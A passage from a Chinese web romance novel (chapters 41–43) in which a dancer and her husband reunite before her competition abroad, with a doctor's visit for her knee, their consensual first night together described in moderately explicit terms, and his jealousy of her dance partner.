她轻眨了眨眼,可眼前的人并未消失。 傅砚深黑眸也紧锁着她,这几日所有的思念在看到她的那一刻,得到了缓解。 就连二十几个小时的奔波疲惫,也全部消散。 刘指导偏头在两人身上看了看,默默关门离开。 夫妻俩久别重逢,他还是识趣点把空间留给他们。 没人打扰,两人就这般隔空对视着,明明才几天没见,却就像隔了很久。 不知对视了多久,傅砚突然朝她张开手:“不想抱抱吗?” “想!” 黎晚棠嘴角微扬,快步朝他跑了过去,直接扑进他怀里:“还以为是我出现幻觉了。” 她双手收紧他的腰,脸颊贴在他心脏的位置,听着他强有力的心跳,笑容越来越大:“原来不是做梦也不是幻觉,傅砚深,你真的来了。” 傅砚深抱紧怀里的女孩,下巴轻抵着她的发顶,低声道:“嗯,因为太想你,所以一刻等不了。” 手里这个项目其实还不算正式完成,看到网上的新闻以及对她的思念,所以把后续工作都交给了萧仲,连夜赶最后一趟航班飞了过来。 刚下飞机就联系了刘指导,到场馆门口,他直接把他带了进来。 不过在他们进门的时候,黎晚棠好像准备要吃什么。 思及此,傅砚深扶着她的肩膀直起身,低头在她身上打量:“是哪里不舒服,你刚刚是要吃——” 他后面的话还没说完,余光就已经瞥见,女孩急忙把手里的药瓶藏于身后。 黎晚棠抬眸心虚地望着傅砚深,刚才看到他出现太激动,完全忘了手里还拿着一瓶药。 还是让他看了会不高兴的止痛药。 两人无声对视了几秒,傅砚深朝她伸手:“给我看看,你是打算吃什么药。” 黎晚棠掌心下意识收紧,不打算拿出来,抿唇道:“……没什么,就是普通的维生素。” 傅砚深目光一直盯着他,伸出的手也这么僵持着:“给我看看。” 黎晚棠咽了咽喉,见他脸色越来越冷,不想惹他生气,乖乖交了出去。 傅砚深接过看了眼,捏住瓶子的指尖忽紧:“你膝盖旧伤犯了,所以在吃止痛药。” “情况紧急,明晚就要比赛了,我们的排练还得继续。” 黎晚棠捏紧指尖看着他,声音越来越小:“我不想拖累队友,也不想失去任何一次上台的机会。” 傅砚深极力压制心底涌出的那股情绪,目光牢牢锁住她那双坚定的眼睛:“黎晚棠,健康比梦想更重要吗?” 黎晚棠轻眨着眼,眼眶逐渐泛起水雾。 当傅砚深连名带姓喊她名字时,就足以证明,他现在非常生气。 她就这般执拗地望着他,没说话,一来是不知道怎么回答,二来是觉得心里特别难受。 他千里迢迢赶过来,本来是很高兴的,可恰恰碰到她吃止痛药,把重逢的气氛搞成了这样。 傅砚深看到女孩泛红的眼眶,心脏像被什么揪住一般,疼得喘不过气来。 他捏住药瓶的手紧了又紧,最后转身,直接丢进垃圾桶里:“这些药根本保护不了你。” 眼眶的泪水瞬间涌出,黎晚棠望着傅砚深那道清冷的背影,喉咙又涩又疼。 这是认识他以来,她第一次见他发那么大的火。 她很想哄哄他,让他别生气,可哽住的喉咙迟迟开不了口,最后见他要出门,黎晚棠一下子急了,快步跑过去,急忙拉住他的手:“傅砚深,你要干嘛去?” 他是被她气得要走吗? 傅砚深脚步忽顿,徐徐转身看着她:“去帮你找医生。” 听到他这话,黎晚棠心里更难受了,他都这么生气了,这一刻考虑的依旧是她。 她松开手,上前一把将人紧紧抱住:“可我不想要你走。” 他们好不容易才见面,她一刻也不想跟他分开,何况他现在还生着气。 “等我排练完,我们再一起去好不好。”黎晚棠仰头看他:“我想要你陪着我。” 看着女孩那双泛红的眉眼,傅砚深嘴硬的话再也说不出来,轻轻帮她擦拭眼角,声音柔了下来:“你膝盖还能继续排练吗?” “可以的,其实还没有那么严重,我只是想预防着。” 黎晚棠吸了吸鼻尖,忙解释:“而且我还没吃,你就进来了。” 傅砚深挑眉:“怪我出现得不及时?” “不是!”黎晚棠低下头,把脸埋在他胸膛:“你出现得很及时,我都高兴坏了。” 听着女孩冒出一句句的真心话,傅砚深心口暖得不行,抬手回抱住她,将人一点点压进怀里:“傻不傻。” _ 下午的排练不能让对方等太久,黎晚棠拉着傅砚深,快步去了排练厅。 里面人看到他们出现,纷纷回过头来,多数目光都是落在傅砚深那张陌生面孔上。 黎晚棠偏头叮嘱他几句,拉开椅子要他在一旁坐着。 安排好他,才快速跑过去与允道他们回合:“不好意思,耽误了一点时间。” 林薇收回目光,去看黎晚棠:“听刘指导说,那位是你老公。” 黎晚棠羞涩一笑:“嗯,他刚下飞机就过来了。” 允道虽然听不懂她们的聊天内容,但从黎晚棠表情上多少能猜到几分,他笑着挑眉:“晚棠,这位不会就是你家先生吧?” 黎晚棠忽而抬头,笑道:“对呀,他今天刚到。” 允道又偏头看了几眼,此刻正盯着他们这边看的傅砚深,他弯腰拉伸时,弯唇笑了:“难怪你会早婚,原来你先生这么优秀。” 虽然不知道她先生是做什么的,但他有着一副堪比国际名模的身材,定制西服穿在身上,气质沉稳矜贵,鼻梁上的金边眼镜,那双黑眸蕴藏着睿智和冷静。 这男人一看,就不是简单的人物。 傅砚深不知道他们在聊什么,只是对上允道看过来的目光,眼眸微敛了几分。 他本人比照片上看着爱笑,眼睛弯成月牙时,感染力很强,确实是女孩子喜欢的类型,身形高挑挺拔,浑身散发着蓬勃的气息。 年龄上,他不得不承认,他们是有点搭。 只是等他看完他们这段舞蹈后,瞬间就坐不住了,他快速站起身,拉开房门走了出去。 知道他们是为了艺术才会有那么多亲密的舞蹈动作,但看到男生搭在黎晚棠腰上的那只手,以及多次贴身相拥,他心里就像有团棉花堵住似的,呼吸不顺。 傅砚深知道这是一场比赛,更是黎晚棠事业迈向成功的一个过程,他不能喊停,更不能说不。 所以他只能走出来,刻意回避那种画面。 在外不知待了多久,直到兜里的手机响起。 他低头拿出看到是黎晚棠,忙接通:“傅砚深,你去哪里了?” 女孩急切的声音从听筒传出,傅砚深拿着手机就往排练厅走:“出来打个电话,你是结束了吗?” “嗯,那我现在出来找你。”黎晚棠推开门,没走几步,就看到迈着长腿走过来的男人。 她疾步上前,跑到他面前:“我还以为你走了。” 傅砚深垂眸盯着她,无奈道:“你在这里,我能去哪?” 黎晚棠抿唇:“望舒也在这。” 傅砚深道:“我是过来找老婆,而不是妹妹。” 黎晚棠微愣了下,随即噗嗤一声笑了:“望舒要是听到,应该会有点难过。” “没事,反正她找我目的也只有一个。”傅砚深牵着她往外走。 黎晚棠好奇问:“什么目的?” 傅砚深看她一眼,目光又落在前方:“要钱。” 黎晚棠这次真没忍住,弯唇大笑了起来。 回休息室换上衣服,拿上背包,两人直接出了场馆。 只是经过大厅时,傅砚深去服务台取回行李。 门口已经有车等着,他们刚上车,司机就直奔医院。 黎晚棠看了眼前面开车的那位陌生司机,悄声问:“你对这边又不熟,怎么安排的这些?” “周叙白在这边有产业,而且他还在这边待过,我要他找人安排的。” 傅砚深握住她的手,偏头问:“路程有点远,要不要靠着睡会儿。” 黎晚棠回握住他的手,摇头:“不要。” 他们才难得见面,时间怎么可以用来睡觉上。 傅砚深没说话,只让她靠着自己,两人相互依偎着,静静感受彼此的存在。 就这样什么都不说,已经很满足了。 抵达医院后,傅砚深拿出手机先打了个电话,很快就有一个高大的男人走了出来。 黎晚棠弯唇朝对方客套点头,就见他用意大利语和傅砚深交流起来,舌音特别重,她站在旁边一句也听不懂。 交涉完,男人带着他们找到专业的医生。 黎晚棠侧眸去看傅砚深,眼底露出崇拜的目光。 他真的好优秀,连意大利语都会。 这边本地人虽然说的是法语,但外地人较多,而意大利人占多数。 经过医生诊断,黎晚棠膝盖确实是有复发的趋势,在复发前,需要用仪器进行治疗。 跟国内的超声波技术不同,她需要躺着,双脚放入仪器里,热乎乎温度袭来,有点像国内的汗蒸。 治疗时间需要一个小时,傅砚深全程都陪在她身边,有医生过来查看,他就会用意大利语询问她膝盖的情况。 黎晚棠听不懂,但瞧见傅砚深越来越沉的脸色。估计是情况不太好,他才会这样。 之前就没把人哄好,现在感觉更难了。 回去的路上,整个车厢特别安静,黎晚棠不时抬眸去看他,也不敢瞎说话。 抵达酒店,黎晚棠轻晃了晃牵着她的那只大手:“你能在这边待多久?” 闻言,傅砚深低头看她:“你想让我待多久?” 问题又被他踢了回来,黎晚棠知道这是他不高兴的表现,低垂着眼睫道:“当然是……越久越好。” 可她知道这种情况不现实,他在国内还有很多工作,不可能留在这边陪她。 傅砚深牵着她进入电梯:“好,那就等你比赛结束。” 黎晚棠怔怔地望着他,似乎有点不敢相信。 片刻,她又眨眼问:“真的吗?” “嗯,医生说你现在的膝盖旧伤如果再复发,后期会直接影响你的舞蹈生涯。” 傅砚深扭过头认真地看着她:“黎晚棠,梦想虽然重要,但身体更重要,你这次比赛结束,回去必须要好好休息一段时间。” 黎晚棠没想到膝盖问题已经那么严重,但回去肯定休息不了,排满的演出还得继续。 可现在见傅砚深那张面无表情的脸,她只能乖乖点头:“好。” 这种时候,不能反驳,乖乖顺着他才是上策。 一路来到顶楼,走出电梯,黎晚棠才发现这不是她住的楼层,下意识开口:“呀,我们好像走错了。” 说着,她急忙转身去按电梯,手腕却被傅砚深一把拽住:“没错,我让人开了总统套房,方便你排练,也方便我办公。” 黎晚棠愣了片刻,而后轻轻点头:“哦,这样也好。” 她住的房间小,还是团里统一安排的房间,傅砚深过来住是不方便。 而且他要留在这边,处理的公事肯定不少。 走了几步,她又猛然想起什么:“那我也得回房间去收拾我的东西,我行李还在下面呢。” “不用。” 傅砚深牵着她来到房门口,刷卡将门推开:“已经叫酒店人员拿上来了。” 黎晚棠怔怔地跟着他走了进去,忽而弯唇:“有好像你在,我做什么都不需要操心。” 傅砚深回头看她一眼,眼底的意思是:你现在知道。 黎晚棠:“……” 早知道了,故意夸夸他而已- 傅砚深刚落地就在忙活她这边的事,现在有空,直接去书房处理工作上的事。 黎晚棠收拾行李时,也顺便把傅砚深的衣服挂衣柜里。 收拾完毕,她拿睡衣准备去洗澡,只是在挑选睡衣时,指尖忽顿,她视线在那排吊带裙上停留了两秒,转而抽出一条黑色蕾丝裙进了浴室。 洗完澡出来,傅砚深还在书房,她快速擦完水乳,掀开被子先躺了下去,将自己盖得严严实实。 没多久,傅砚深推门走了进来,抬眸看她一眼,准备去拿行李箱时,才发现他所有衣服都被女孩整齐挂进了衣柜。 他盯着那排衣服沉默了一会儿,拿上睡衣进了浴室。 傅砚深洗澡很快,头发也在里面吹干才出来。 他上前询问女孩没有别的事情,关掉卧室里的大灯,只留下一盏柔黄的复古夜灯。 掀开被子刚躺下,女孩就侧身滚入他怀里,熟悉的香味让他下意识圈住她的细腰。 只是指尖触碰到丝滑到面料时,眸色顿住。 片刻,他掀开被子看了眼,喉咙蓦地收紧。 正是他上次视频,她穿的那条真丝吊带裙。 掀开时有风灌入,黎晚棠胳膊觉得有点冷,又往他怀里贴:“傅砚深,我有点冷。” 话落,傅砚深立马盖上被子,紧紧将人拥住,喉咙滚动:“……怎么穿这身?” 黎晚棠脸颊贴在他胸膛上,轻声道:“惹你生气了,想哄哄你。” 傅砚深呼吸一顿:“就这么哄?” “当然不是。” 说着,她仰头吻上他的唇,这段时间两人吻过太多次,她的吻技早已变得娴熟。 黎晚棠没在他唇瓣停留太久,而是直接探入,主动去勾他舌尖:“傅砚深,你不高兴,我也会难过。” 说完这句,她这个吻变得越发热情。 傅砚深平稳的呼吸逐渐被她这个热吻搅乱,血液也跟着在沸腾,某处的欲。望在疯狂叫嚣。 在女孩勾住他的舌尖缠绵时,他反扣住她后脑,腰间的手也在睡裙下摆处游离。 很快,黎晚棠就感觉到一只温热的大掌滑了进来。 细腻的肌肤在他的掌心下,激起一阵阵战栗,心口也烫得慌。 黎晚棠已经被他亲得水雾迷离,抓住他的胳膊,事先提醒:“傅砚深,今晚……不许半途而废。” 想了想,她又加上一句:“不然,我真怀疑你不行。” 傅砚深呼吸粗重地松开她的唇,哑声问:“你膝盖可以吗?” “当然!” 傅砚深眸色忽暗,再次低头吻了下去:“好,一会儿不许哭。” 第42章 床头那盏复古灯光线已经调到最低档,光线像过滤那般,醇厚而朦胧的弥漫在整个房间。 黎晚棠因他这话愣怔了下,不明白做这种事为什么会哭。 难道是因为第一次,所以才会…… 只是傅砚深没给她多余的思考时间,翻身将她禁锢在身下,低头开始吞噬她的呼吸。 黎晚棠庆幸这是间总统套房,不仅隔音效果好,连床的柔软度也比她之前睡得舒服。 只是被男人这般笼罩着,她没法动弹,任由他予取予求。 这一次彼此都做好了准备,就连他平时没准备的小雨伞,床头的抽屉里也准备充足。 多日的思念,让两人的行为都有些肆无忌惮。 唇上的亲吻早已变得越发地急切热烈,傅砚深温热的呼吸像爆发后的火山熔岩,掌心滑过的滚烫也还在四处游荡,就像双重热度灼烧着她。 黎晚棠一开始对于他这样的热情有点受不住,可内心却又是渴望的,某个声音在耳边呐喊,让她全身心享受这一刻。 跑神时,男人灼热的吻已经从她唇上抽离,转而落在她下巴,耳畔,最后是诱人的锁骨。 她今天穿的吊带裙领口有点低,锁骨露出的皮肤白皙细腻。 黎晚棠不清楚傅砚深是不是对她锁骨有什么偏爱,现在他每次亲吻她,都要在上面留下痕迹。 鲜红的颜色像熟透的草莓,每一处都很明显。 黎晚棠怕痒,在他轻轻吮咬时,下意识嘤咛出声。 察觉这样声音太过羞涩,她忙咬住唇瓣。 纤长的脖子却忍不住后仰,这样的动作,就像她在舞台上的仰头跳跃,在空中划出漂亮的弧线后,回归自然。 傅砚深呼吸粗重,抬头再次落在她唇瓣上,微含着她那两片似果冻的红唇,哑声问:“棠宝,他们都说你们很般配。” 黎晚棠得空呼吸一口气,冷不丁听到他这句,茫然问:“和谁般配?” 傅砚深眸色渐暗,不轻不重地吮咬着她:“你这次组赛的搭档。” “他啊?” 黎晚棠极力忍住心底涌出的那抹情愫,轻眨眼睫解释:“那是网友没看见我老公,如果看了就会认为,全世界只有我跟他最般配。” 傅砚深薄唇浅浅勾起,像是被她这话哄到心坎,更被她那声“老公”叫得心痒,他低头用力吻着她,轻声诱哄:“棠宝,再叫一次。” “……” 黎晚棠心头一跳,男人此刻发出来的声音性。感得要命。 特别他那声“棠宝”尾音刻意拉长,激得她全身颤了下。 最后在他一声声棠宝的诱。惑下,黎晚棠喊了无数次老公。 睡裙早已凌乱不堪,原本挂在肩头的黑色带子不知滑向何处,她白皙的肌肤在柔光下绽开,所有的思绪都跟着他游移的热吻一点点飘散。 耳边是男人低哑暗沉的声音,低喊着“棠宝”。 此时此刻,这两个字成了今晚最好的助兴剂。 黎晚棠黑亮的头发撒满整个枕头,却被他骨节分明的手指别至一侧,脖颈显露,他热气喷洒贴在皮肤上,带起灼人的痒意。 然而始作俑者还在细腻地品尝,像是从未尝过的一道美食,耐心十足,却磨得她心痒难耐。 黎晚棠咬住唇瓣的力度松开,抬脚去踢他:“……傅砚深,你还能不能行。” 这人分明是在折磨她。 傅砚深动作忽停,抬起头看她:“都到这一步,你还在质疑我?” 对上他充满欲色的眼神,黎晚棠嗓音都在发颤:“不是,就想……要你快点。” 傅砚深盯着她那双水雾迷蒙的眸子,低头在她唇上亲了亲,像是在安抚:“着急想要?” 黎晚棠轻咬着唇瓣,在他的注视下,羞赧点头:“嗯,想。” 这句话极度满足了男人的自尊心,以至于接下来的每一个动作,他都身体力行地教会她。 男人的底线不要轻易挑战,更不能质疑。 此刻窗外突然下起了大雨,淅淅沥沥的雨声敲打在玻璃上,未关严实的窗帘闯入一丝光亮透过湿漉漉的窗棂,晕染出一片朦胧的暖黄。 床头柜不知何时被他打开,包装精致,如果不细看还以为是手套的糖果盒,出现在他手上。 昏黄的灯光下,男人单手撕开包装袋,取出类似手套的东西,在仔细研究。 当黎晚棠看清那是什么东西时,害羞地闭上眼睛,心里既期待又有些未知的害怕。 窸窸窣窣的声音还在继续,她闭着眼,抓住被子的指尖收紧。 就在她毫无准备时,身上的重量压了下来,悬挂在半空的那颗心,彻彻底底落到了实处。 吻到深处,黎晚棠无意识抓住傅砚深的手臂,指尖陷入皮肤。 那种说不清的陌生疼感袭来,她仰头从嘴角溢出声响,细听下,又像是轻微的呜咽。 她身体蜷缩着,忍不住往后退,可傅砚深却不容她后退半分。 最后她只能放声求饶,连连战败。 傅砚深听女孩哭狠了,心疼地俯身去吻她眼角流出的眼泪,低声轻哄着说快了。 可男人这个时候的话根本不能信,他就像一只不能满足的饿狼,太久没吃过兔肉的鲜嫩,根本喂不饱。 就在这时,窗外的雨更大了,哗啦啦地响成一片,反而将屋内这片静谧显得隐秘坠落。 黎晚棠实在受不了,抬脚踢他,要他快点。 最后什么时候结束的,她完全不知道,直到傅砚深低头贴在她耳廓,发出那一声声喘息。 那些语调让她着迷,却只能无力地趴在床上,困倦闭上眼睛。 太累了,比她排练一整天还要累人,全身骨节像被重组,现在要她去表演柔舞,估计还能创造出新的高度。 黎晚棠疲惫的躺在床上,连指尖都不想动。 身上丝滑的吊带裙早已不知去向,后背只有一层薄被盖着,大半个肩膀都露在外面。 躺在身旁的男人反而神清气爽,仿佛刚才一直在卖力运动的人,根本不是他。 傅砚深抬手帮她整理挡在额前的碎发,等别到耳根后,低声询问:“要不要喝水,我去帮你倒。” 这期间,她又是哭、又是喊、又是踢的,嗓子应该都喊哑了。 黎晚棠掀开眼皮狠狠瞪他一眼,哼唧道:“要,我要喝冰的。” 嗓子都要冒烟了,就想喝点冰水才能解渴。 “忘了你上次运动完吃冰淇淋的事。” 傅砚深俯身在她唇上轻啄了下,掀开被子下床:“听话,你现在膝盖不能喝凉的。” 黎晚棠想要爬起来,控诉他这次跟上次完全不同,一回头才看清,傅砚深腰间围着条浴巾出门的背影。 她盯着这一幕看了半晌,直到人消失在房间,怔愣的思绪才一点点缓过神来。 这还是那个穿衣保守,在家出门都裹得严严实实的傅砚深吗? 他之前遵守的那些原则呢,被说吃了? 傅砚深端着水杯进门,瞧见她半趴在床上,快步走近:“你需要拿什么,我去拿。” 黎晚棠没说话,视线落不受控地从下至上的打量着,肌理分明的腹肌就直白的展现在她眼前,胸膛高挺,背脊宽厚,精瘦流畅的腰身,每一寸肌肉都结实有力。 特别是浴巾边缘若隐若现的人鱼线,让人挪不开眼。 难怪当初傅砚深会说她只摸没看,怎么能清楚他的身材。 如今大大方方看过后,才彻彻底底地赞同,叶知薇当初说的那句话。 她确实吃得很好。 黎晚棠舔了下嘴角,盯着他这副身材咽了咽喉,那颗沉寂下来的心又开始澎湃起来。 “还满意吗?” 黎晚棠忽而抬头,对上男人似笑非笑的眸子,她轻眨了眨眼睫,慢吞吞地从床上坐了起来。 只是当她坐起身的那一瞬,才发现她什么都没穿,身上薄被滑落在床。 这次轮到傅砚深目光怔住,盯着她半天不挪开眼。 黎晚棠手疾眼快抓住被子,忙将自己包裹起来,脸颊羞得通红。 见男人还盯着自己看,她低声嘀咕:“还满意吗?” 像是鼓足了勇气,又把他刚才的话还了回去。 “满意。” 傅砚深淡然点头,将水杯喂到她嘴边:“你手现在应该没空,我喂你。” “……” 突然被他调戏,黎晚棠抬眸怒瞪他一眼,就着他喂水的姿势,将杯中水饮尽,而后气呼呼躺了下去,裹着被子蜷缩着:“从现在开始,我不想和你说话。” 她闭上眼睛,拒绝沟通的意思很明显。 傅砚深盯着女孩还有些泛红的眼角,无声勾唇。 知道是刚刚把人惹毛了,他放下杯子,侧身躺了上去,从后连人带被一起抱住她:“我大老远跑过来,你就这样冷落我。” 黎晚棠捏住被子的指尖微松,心里又开始软了下来。 半晌,她松开被子,转身滚进他怀里:“没有,谁叫你刚才笑话我。” 她才舍不得冷落他,爱他还来不及。 傅砚深勾唇抱紧她,此刻没有任何隔阂地贴在一起,刚刚降下去的温度又在悄无声息地升高。 黎晚棠感受到搭在她腰间的那只手,有乱动的趋势,轻柔出声:“不要了,好累。” 傅砚深拧眉不解:“都是我在动,你累什么?” “……” 听听,这叫什么话,她躺着也累好吗! 见人不说话,低头看到她脸上的薄怒,他忙转移话题:“嗯,不碰你了,我抱你去洗澡。” 再次贴在一起,两人身上都黏糊糊的,很不舒服。 黎晚棠抬头:“只是洗澡?” “你要想干点别的也可以,我还有力气。”傅砚深看着她,一本正经地说:“就是担心你明天的比赛,怕对你有影响。” “……” 黎晚棠嘴角微抽,也不知道这人真单纯,还是装单纯。 无论如何,她不可能再掉进他挖的坑里。 “不用了,我可以。” 说着,黎晚棠抓住薄被就准备起身,腰间却突然被一只大手圈住,下一秒,她整个人直接被他悬空抱了起来。 黎晚棠下意识勾住他脖子:“你、你要干嘛?” 傅砚深垂眸看她一眼,抱着她继续往洗手间走:“怕你腿软站不住,抱你进去,我再出来。” “……” 这么羞耻的话,他怎么好意思说得那么坦然。 傅砚深把她放坐在浴缸上,轻声问:“需要我帮你放水吗?” 黎晚棠警惕地看着他,忙摇头:“不用,你快出去吧。” “确定不用我陪?”傅砚深再三询问。 “确定,肯定,不需要!”黎晚棠朝他挥手:“你快点出去吧,我要洗澡了。” 傅砚深见她自己真可以,不放心地看了几眼,这才走了出去。 等人出去后,黎晚棠瞬间松了口气。 她起身撤掉身上的薄被,对上镜子里的自己,那些脖子以下不能看的吻痕,又羞又恼。 啊! 明天还要她怎么见人呀! 暗暗骂了好几句禽兽,黎晚棠开始洗澡。 全身上下仔仔细细清洗了一遍,她扯过一旁的浴袍,穿好走了出去。 偏头寻找一圈,没看见傅砚深的身影,以为他又去书房忙工作了。 黎晚棠忙去衣柜翻找睡衣,最后拿了一套保守的长裤穿上,余光瞥见那排吊带裙时,心想,她以后还是不要轻易穿了。 刚躺下没多久,傅砚深就推门走了进来,此时他已经换上保守的长袖裤,好看的腹肌全部遮挡起来。 余光瞥见他手里拿着一盒东西,好奇问:“你手上拿的是什么?” “药膏。” 傅砚深落坐在她身旁,缓缓掀开被子:“怕你明天比赛不舒服,我帮你上药。” 黎晚棠以为他是帮她膝盖上药,伸出腿:“其实我已经擦过药了。” “不是膝盖。”傅砚深冷静地看着她:“怕你明天会肿。” 黎晚棠对上他认真的神情,逐渐明白他指的是哪里,脸颊蓦地爆红,忙收回脚:“没事,不用擦药。” 说着,她裹着被子转过身,瓮声瓮气道:“不早了,快睡吧。” 见傅砚深半天没反应,她又一点点扭头,只见男人执着拿着药膏没动,颇有点她不答应,就不罢休的架势。 黎晚棠深吸一口气:“真没事。” 傅砚深哄道:“乖,听话。” …… 黎晚棠最后是顶着发烫的脸颊,以及内心的煎熬,蒙着被子完成了这次涂药。 微凉的触感让她止不住颤抖,好在上药的过程中,傅砚深没直白说出让她原地升天的窘话。 当他返洗手间清洗指尖时,她脸颊再一次爆红。 见人还没出来,她急忙起身关掉卧室的大灯,只留下一盏暖灯,似乎只有这样才能掩盖住她脸上的红晕。 没过多久,傅砚深也掀开被子上床,他下意识扣住她的腰,将人拉进怀里。 黎晚棠抿唇别扭了几秒,接着翻身钻进他怀里。 唯一的光源被关掉,两人彼此相拥着,酝酿睡意。 在黎晚棠彻底沉睡过去时,好像隐隐听到傅砚深贴在耳边,语气柔和地说了句:“好爱。” _ 次日清晨,黎晚棠在生物钟内准时醒来。 或许是昨晚太累,又或许身旁有她喜欢的人,她这一觉睡得特别安稳。 偏头看去,傅砚深还在睡觉,从他紧闭的双眼来看,似是睡得很沉。 坐了十几个小时的飞机,而且还需要倒时差,他肯定没能那么早醒。 黎晚棠不想惊醒他,小心翼翼掀开被子,只是抬脚下床的那一瞬,控制不住地轻嘶出声。 全身酸疼的感觉,有点像她刚学跳舞那年,首次被舞蹈老师强行拉筋骨,第二天起不来床的情形。 其实她从小练舞,全身筋骨算是很软的了,若换作其他人,估计根本下不了床。 适应了片刻,她稍稍动了动手脚,那种酸疼感减轻不少。 再次撑着垫子准备起床,身后忽然响起一道沙哑的困倦声:“老婆,别走,再睡会儿。” 黎晚棠身体蓦地僵住,似乎被他这声迷迷瞪瞪的“老婆”喊懵,还处于愣怔时,男人圈住她的腰,又把她捞了回去。 “你继续睡吧,我还得晨练去。”她舔了舔唇,背对他轻声哄着。 “不行。” 傅砚深收紧她的腰,下巴去贴她侧颈:“你膝盖不能超负荷运动,如果还想正常比赛,这几天都不能晨练。” 经他提醒,黎晚棠猛然想起,她膝盖昨晚才治疗回来。 “哦,那我再躺一个小时。” 其实她也挺贪念他的怀抱,毕竟分开好几天,现在听他这么说,她又心安理得地靠了回去。 难怪都说回笼觉睡得香,等傅砚深轻声喊醒她时,朦胧地睁眼问:“几点了?” 傅砚深看了眼腕表,如实回答:“七点半。” “啊?”黎晚棠立马从床上爬了起来,掀开被子就要下地:“你怎么不早点叫我。” “不是定八点到场馆排练,时间来得及。” 傅砚深把她要穿的衣服提前拿到了床边:“早餐我已经让人送过来了,吃完我陪你一起去。” 黎晚棠瞥见他手里拿着的衣服,茫然问:“你这是?” “帮你穿衣服。” 说着,傅砚深就低头去研究手里的那件贴身内衣,好半天,感觉还是摸不出什么头绪,只能转手把内衣递给黎晚棠。 “这个……我恐怕帮不了你,要不你先将它穿好。” 第43章 黎晚棠最后当然是拒绝了傅砚深的要求。 她只是破了个初夜,还没到动不了的地步。 但他能这么关心自己,心里还是很暖的。 早餐比她平时吃的都丰富,不知是不是她的错觉,总觉得傅砚深比以前更加关心她了。 无微不至地照顾,就差往她嘴里喂饭。 黎晚棠边吃边打量着他,从他脸上的表情来看,应该是不生气了。 看来她昨天哄人的效果还不错,就是付出的代价有点大。 “再把这杯牛奶喝了。” 傅砚深见她放下筷子,又把热好的牛奶递给她:“你昨天耗费不少体力,需要多吃点。” 突然提到昨晚的事,脑中莫名闪过某段厮磨她的画面,黎晚棠轻眨了眨眼,低头乖乖接了过来。 最后实在喝不完,转手递给他:“我喝不下了。” 傅砚深看了眼还剩下的半杯牛奶,他接过直接喝掉:“收拾一下,我送你过去。” 黎晚棠现在见他喝自己剩下的东西,虽然没有第一次那么震惊,却还是有些不习惯。 不过他不嫌弃自己,她弯唇轻笑了下:“哦,好。” 车子已经在酒店门口等着,司机还是昨晚那个中年大叔,等他们坐好,他熟练地转动方向盘离开。 黎晚棠凑到傅砚深耳边,低语:“在我比赛期间,这位司机大叔会一直跟着我们吗?” “嗯,这样不管去哪里都方便,也不用挤你们团里的车。” 傅砚深低头盯着平板上的文件,看起来有点忙。 黎晚棠看了几眼,收回视线没再打扰。 车子抵达场馆,黎晚棠还以为傅砚深就送她到门口,没想到他也跟着她一起走进来了。 走了两步,她侧头问:“你不用回去忙工作吗?” 看得出来,他蛮忙的。 傅砚深摇头:“不用,有事可以在手机上处理。” 黎晚棠又看他一眼,也没说话,她先去休息室换上衣服,两人转去了排练厅。 允道和林薇已经在排练了,她快步跑了过去:“不好意思,又迟到了。” 允道笑:“没关系,我们理解。” 说着,他偏头瞥了眼,依旧坐在昨天那个位置上的男人。 林薇心细,一眼就看见黎晚棠脖子上的吻痕,她走上前,不动声色地帮她整理衣领:“走得太急了吧,脖子上没盖住。” 从林薇过来帮她整理衣领,黎晚棠就意识到了什么,现在听她这么说,脸颊染上不易察觉地羞涩:“谢谢。” 大家没闲聊,很快就专心排练起来。 现在只有一个上午的时间,下午就需要准备晚上的比赛,他们现在属于是争分夺秒地磨合熟练。 中途没休息,傅砚深几次低头看腕表上的数据,眉头紧拧。 担心黎晚棠膝盖负荷加重,会直接爆表。 但他们跳得很投入,他又不好过去打断。 来之前,他明明已经调整好了心态,可看到他们亲密的舞蹈动作,心里还是有点堵得慌。 中午吃饭的时间,傅砚深刚把她带进包厢,关上门,就直接把人抵在门板上亲。 黎晚棠下巴忽然被他抬起,直到温热的唇瓣贴了上来,才反应过来他想干嘛。 男人强势闯入,没给她一点缓冲的时间,急切地勾住她舌尖,缠绵且又湿润地搅动。 她体内的血液瞬间沸腾起来,很快就勾住他脖子,踮脚回应。 黎晚棠觉得傅砚深现在是真的很会亲,三两下就能把她亲得全身发软。 但她又像病态似的,莫名喜欢他这样的强势。 男人这个这个吻带着一股说不清的狂热与压迫,仿佛内心积攒了太久的情绪,终于找到了一个宣泄口。 唇舌交缠的瞬间,黎晚棠感受到他内心极强的占有欲。 漫长而激烈地亲吻后,傅砚深松开她的唇,轻喘着呼吸看着她:“黎晚棠,真想把你藏起来。” 黎晚棠不明白他为什么会这么说,下意识抱住他的腰,声音软得不行:“不用藏,我本来就是你的。” 通过昨晚,他们两颗心已经毫无【踏雪独家】保留的融合在一起,有些话,自然而然便能脱口而出。 傅砚深盯着她,没忍住又在她唇上亲了一会儿,退开时,轻咬了下她唇瓣:“再看你们跳下去,我可能会疯。” 黎晚棠吃疼,刚要皱眉控诉他这是什么癖好,可听到这话,她猛然明白了。 原来他刚才那个急切的进门吻,是因为吃醋。 事情跟她料想的一样,傅砚深看到他们这段舞蹈,是真的很介意。 但看到他这番吃醋的模样,她嘴角忍不住上扬:“这是一种艺术,你换个角度想想就好。” 傅砚深没说话,牵着他落坐餐桌前,知道是艺术,但他依旧理解不了。 黎晚棠见他不出声,眼眸转了两圈,而后站起身,直接跨坐在他大腿上,抬手环住他脖子。 当傅砚深抬头看来时,她低头在他唇上亲了一口:“那我重新哄哄你。” 傅砚深忙掐住她的腰,仰头看着她,没说好也没说不好。 眼底的意思却很明显,一个吻根本不够。 黎晚棠笑了下,偏头凑到他耳边,故意轻含住他耳垂,压低声音喊了句:“老公,用不着吃醋,现在我的人和心都是你的,谁也抢不走。” 傅砚深掐住她腰间的手蓦地收紧,呼吸也变得紊乱,刚想把她压在怀里亲,包厢门突然被人敲响。 黎晚棠身体猛然一僵,下意识回头去看包厢门,想到应该是服务员过来上菜,她着急忙慌从傅砚深腿上下来。 低头整理身上微乱衣服,接着老老实实坐在一旁的椅子上。 仿佛刚才勾。引傅砚深的小妖精不是她。 傅砚深见女孩这番掩耳盗铃地模样,嘴角很轻地扯了下。 后面这顿饭吃得还算安静,期间黎晚棠不停地给傅砚深夹菜,哄他的意思很明显。 饭后,两人返回场馆,因为晚上还有比赛,黎晚棠没时间再陪傅砚深。 好在这个时候傅望舒及时出现。 “晚棠姐,我来了!” 傅望舒刚要朝黎晚棠跑近,只是看清她旁边站着的人时,嘴角笑意瞬间收敛,倏地僵在原地。 